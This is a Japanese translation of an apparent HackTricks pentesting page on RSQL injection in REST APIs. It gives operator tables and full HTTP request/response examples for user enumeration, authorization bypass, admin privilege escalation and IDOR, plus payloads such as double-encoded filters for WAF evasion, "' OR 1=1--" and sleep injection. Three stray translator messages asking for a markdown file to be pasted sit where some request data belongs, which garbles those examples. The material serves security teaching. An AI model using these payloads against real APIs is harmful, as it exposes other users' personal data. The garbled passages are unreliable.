RSQL Injection
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
RSQLとは?
RSQLは、RESTful APIsにおける入力のパラメータ化されたフィルタリングのために設計されたクエリ言語です。FIQL (Feed Item Query Language)、元々Mark NottinghamがAtomフィードの検索のために仕様化したものに基づき、RSQLはその単純さと、複雑なクエリをHTTP上でコンパクトかつURIに準拠した形で表現できる点が特徴です。これにより、RESTエンドポイントの検索用の汎用クエリ言語として非常に適しています。
概要
RSQL Injectionは、RESTful APIsでクエリ言語としてRSQLを使用するウェブアプリケーションに存在する脆弱性です。SQL InjectionやLDAP Injectionと同様に、この脆弱性はRSQLフィルタが適切にサニタイズされていない場合に発生し、攻撃者が不正なクエリを注入してデータに無許可でアクセス、修正、または削除することを可能にします。
どのように機能するか?
RSQLを使うと、RESTful APIsで高度なクエリを構築できます。例えば:
/products?filter=price>100;category==electronics
これは、priceが100より大きく、category “electronics” の製品をフィルタする構造化クエリに変換されます。
アプリケーションがユーザー入力を正しく検証しない場合、攻撃者はフィルターを操作して、次のような予期しないクエリを実行させる可能性があります:
/products?filter=id=in=(1,2,3);delete_all==true
さらに、Boolean queries や nested subqueries を悪用して機密情報を抽出することもできます。
リスク
- 機密データの露出: 攻撃者はアクセス権のない情報を取得できます。
- データの改変または削除: フィルタの注入によりデータベースのレコードが変更される可能性があります。
- 権限昇格: フィルタを介してロールを与える識別子を操作し、他のユーザーの権限でアプリケーションにアクセスするように騙すことができます。
- アクセス制御の回避: フィルタを操作して制限されたデータにアクセスすること。
- なりすましまたは IDOR: フィルタを通じてユーザー間の識別子を変更し、正当に認証されていないのに他ユーザーの情報やリソースへアクセスできるようにすること。
サポートされている RSQL 演算子
| Operator | 説明 | 例 |
|---|---|---|
; / and | 論理的な AND 演算子。フィルタは 両方 の条件が true の行を抽出します。 | /api/v2/myTable?q=columnA==valueA;columnB==valueB |
, / or | 論理的な OR 演算子。フィルタは 少なくとも1つ の条件が true の行を抽出します。 | /api/v2/myTable?q=columnA==valueA,columnB==valueB |
== | equals クエリを実行します。myTable の中で columnA の値が queryValue と完全に一致するすべての行を返します。 | /api/v2/myTable?q=columnA==queryValue |
=q= | search クエリを実行します。myTable の中で columnA の値に queryValue が含まれるすべての行を返します。 | /api/v2/myTable?q=columnA=q=queryValue |
=like= | like クエリを実行します。myTable の中で columnA の値が queryValue に類似するすべての行を返します。 | /api/v2/myTable?q=columnA=like=queryValue |
=in= | in クエリを実行します。myTable の中で columnA が valueA または valueB を含むすべての行を返します。 | /api/v2/myTable?q=columnA=in=(valueA, valueB) |
=out= | exclude クエリを実行します。myTable の中で columnA の値が valueA でも valueB でもない行を返します。 | /api/v2/myTable?q=columnA=out=(valueA,valueB) |
!= | not equals クエリを実行します。myTable の中で columnA の値が queryValue と等しくないすべての行を返します。 | /api/v2/myTable?q=columnA!=queryValue |
=notlike= | not like クエリを実行します。myTable の中で columnA の値が queryValue に類似しないすべての行を返します。 | /api/v2/myTable?q=columnA=notlike=queryValue |
< & =lt= | lesser than クエリを実行します。myTable の中で columnA の値が queryValue 未満のすべての行を返します。 | /api/v2/myTable?q=columnA<queryValue /api/v2/myTable?q=columnA=lt=queryValue |
=le= & <= | lesser than または equal to クエリを実行します。myTable の中で columnA の値が queryValue 以下のすべての行を返します。 | /api/v2/myTable?q=columnA<=queryValue /api/v2/myTable?q=columnA=le=queryValue |
> & =gt= | greater than クエリを実行します。myTable の中で columnA の値が queryValue より大きいすべての行を返します。 | /api/v2/myTable?q=columnA>queryValue /api/v2/myTable?q=columnA=gt=queryValue |
>= & =ge= | equal to または greater than クエリを実行します。myTable の中で columnA の値が queryValue と等しいかそれ以上のすべての行を返します。 | /api/v2/myTable?q=columnA>=queryValue /api/v2/myTable?q=columnA=ge=queryValue |
=rng= | from to クエリを実行します。myTable の中で columnA の値が fromValue 以上かつ toValue 以下のすべての行を返します。 | /api/v2/myTable?q=columnA=rng=(fromValue,toValue) |
Note: この表は MOLGENIS と rsql-parser の情報に基づいています。
例
- name==“Kill Bill”;year=gt=2003
- name==“Kill Bill” and year>2003
- genres=in=(sci-fi,action);(director==‘Christopher Nolan’,actor==*Bale);year=ge=2000
- genres=in=(sci-fi,action) and (director==‘Christopher Nolan’ or actor==*Bale) and year>=2000
- director.lastName==Nolan;year=ge=2000;year=lt=2010
- director.lastName==Nolan and year>=2000 and year<2010
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
Note: この表は rsql-parser の情報に基づいています。
共通のフィルタ
これらのフィルタはAPIでのクエリ絞り込みに使われます:
| フィルタ | 説明 | 例 |
|---|---|---|
filter[users] | 特定のユーザーで結果を絞り込みます | /api/v2/myTable?filter[users]=123 |
filter[status] | ステータス(active/inactive、completed など)で絞り込みます | /api/v2/orders?filter[status]=active |
filter[date] | 日付範囲内で結果を絞り込みます | /api/v2/logs?filter[date]=gte:2024-01-01 |
filter[category] | カテゴリやリソースタイプで絞り込みます | /api/v2/products?filter[category]=electronics |
filter[id] | 一意の識別子で絞り込みます | /api/v2/posts?filter[id]=42 |
よく使われるパラメータ
これらのパラメータはAPIレスポンスの最適化に役立ちます:
| パラメータ | 説明 | 例 |
|---|---|---|
include | レスポンスに関連リソースを含めます | /api/v2/orders?include=customer,items |
sort | 結果を昇順または降順でソートします | /api/v2/users?sort=-created_at |
page[size] | 1ページあたりの結果数を制御します | /api/v2/products?page[size]=10 |
page[number] | ページ番号を指定します | /api/v2/products?page[number]=2 |
fields[resource] | レスポンスで返すフィールドを定義します | /api/v2/users?fields[users]=id,name,email |
search | より柔軟な検索を実行します | /api/v2/posts?search=technology |
Information leak とユーザー列挙
以下のリクエストは、登録用エンドポイントが email パラメータを受け取り、そのメールがデータベースに登録されているかどうかをチェックし、存在するか否かに応じて true または false を返すことを示しています:
リクエスト
GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
src/pentesting-web/rsql-injection.md の内容をここに貼ってください。受け取ったら、マークダウンと HTML 構文を維持して日本語に翻訳します。
HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85
{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}
通常 /api/registrations?email=<emailAccount> が想定されますが、特殊なオペレーターを用いた RSQL filters によってユーザー情報を列挙および/または抽出しようとすることが可能です:
リクエスト
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
レスポンス
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"attributes": {
"tenants": []
}
}
}
有効な email アカウントと一致する場合、アプリケーションは server への response で、古典的な “true”、“1” またはそれに類するものの代わりにユーザーの情報を返します:
Request
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
レスポンス
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}
Authorization evasion
このシナリオでは、基本ロールを持つユーザーから開始し、データベースに登録されている全ユーザーの一覧にアクセスするための特権(例: administrator)を持っていない状況を想定します:
リクエスト
GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
レスポンス
HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
ここでもフィルタと特殊演算子を利用して、users の情報を取得し、アクセス制御を回避する別の方法を提示します。 例えば、user ID に文字 “a” を含む users をフィルタする場合:
Request
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Response
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................
Privilege Escalation
特定のエンドポイントがユーザーのロールを通じて権限を確認していることは非常に多い。例えば、権限を持たないユーザーを扱っている場合:
Request
GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
I don’t have the file content. Please paste the contents of src/pentesting-web/rsql-injection.md here (or the portion you want translated). I will translate the English text to Japanese and keep all markdown, tags, links, code, file paths and technique names unchanged.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": []
}
特定の operators を使用して administrator users を列挙できます:
リクエスト
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
レスポンス
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}
管理者ユーザーの識別子を把握している場合、対応するフィルタを管理者の識別子に置き換えるか追加することで、同じ権限を取得する特権昇格を悪用できる可能性があります:
Request
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
そのファイルの内容がここにありません。src/pentesting-web/rsql-injection.md の翻訳を行うには、該当のMarkdownコンテンツを貼り付けてください。コード、タグ、リンク、パスは翻訳せずそのまま保持します。
HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
....
}]
}
}
Impersonate or Insecure Direct Object References (IDOR)
filter パラメータの使用に加えて、結果に特定のパラメータ(例: language、country、password…)を含めることができる include のような他のパラメータを使用することが可能です。
以下の例では、ユーザープロファイルの情報が表示されます:
リクエスト
GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
レスポンス
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}
フィルターの組み合わせを用いることで、認可制御を回避し、他のユーザーのプロフィールにアクセスできます:
リクエスト
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
レスポンス
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}
検出とファジングのクイックウィン
- RSQL サポートは無害なプローブを送って確認する(例:
?filter=id==test,?q==testや不正な演算子=foo=)。冗長な API はしばしばパーサエラーを leak する(“Unknown operator” / “Unknown property”)。 - 多くの実装は URL パラメータを二重にパースする;
(,),*,;を二重エンコード(例:%2528admin%2529)して単純なブロックリストや WAFs を回避できることがある。 - Boolean exfil with wildcards:
filter[users]=email==*%@example.com;status==ACTIVE。論理を,(OR) で反転させてレスポンスサイズを比較する。 - Range/proximity leaks:
filter[users]=createdAt=rng=(2024-01-01,2025-01-01)は正確な ID を知らなくても年単位で素早く列挙できる。
フレームワーク固有の悪用 (Elide / JPA Specification / JSON:API)
- Elide と多くの Spring Data REST プロジェクトは RSQL を直接 JPA Criteria に変換する。開発者がカスタム演算子(例:
=ilike=)を追加し、prepared parameters の代わりに文字列連結で predicate を構築すると、SQLi に転じる可能性がある(典型的なペイロード:name=ilike='%%' OR 1=1--')。 - Elide analytic data store は parameterized columns を受け入れる;ユーザー制御の analytic params と RSQL フィルタを組み合わせたことが CVE-2022-24827 の SQLi の根本原因だった。パッチ適用済みで正しくパラメータ化されていても、同様の手作りコードは残ることが多い —
${}を含む@JoinFilter/@ReadPermissionの SpEL 式を探し、';sleep(5);'や論理的な恒真式を注入してみる。 - JSON:API バックエンドは通常
includeとfilterの両方を公開する。関連リソースでのフィルタfilter[orders]=customer.email==*admin*は、リレーションレベルのフィルタが所有権チェックより先に実行されるため、トップレベルの ACLs をバイパスする可能性がある。
自動化ヘルパー
- rsql-parser CLI (Java):
java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"はローカルでペイロードを検証し、抽象構文木を表示する — 括弧のバランスやカスタム演算子を作るのに有用。 - Python quick builder:
from pyrsql import RSQL
payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
print(str(payload))
- HTTP fuzzer (ffuf, turbo-intruder) と組み合わせて、
=in=リスト内のワイルドカード位置*a*,*e*などを繰り返すことで、ID やメールを素早く列挙できます。
参照
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


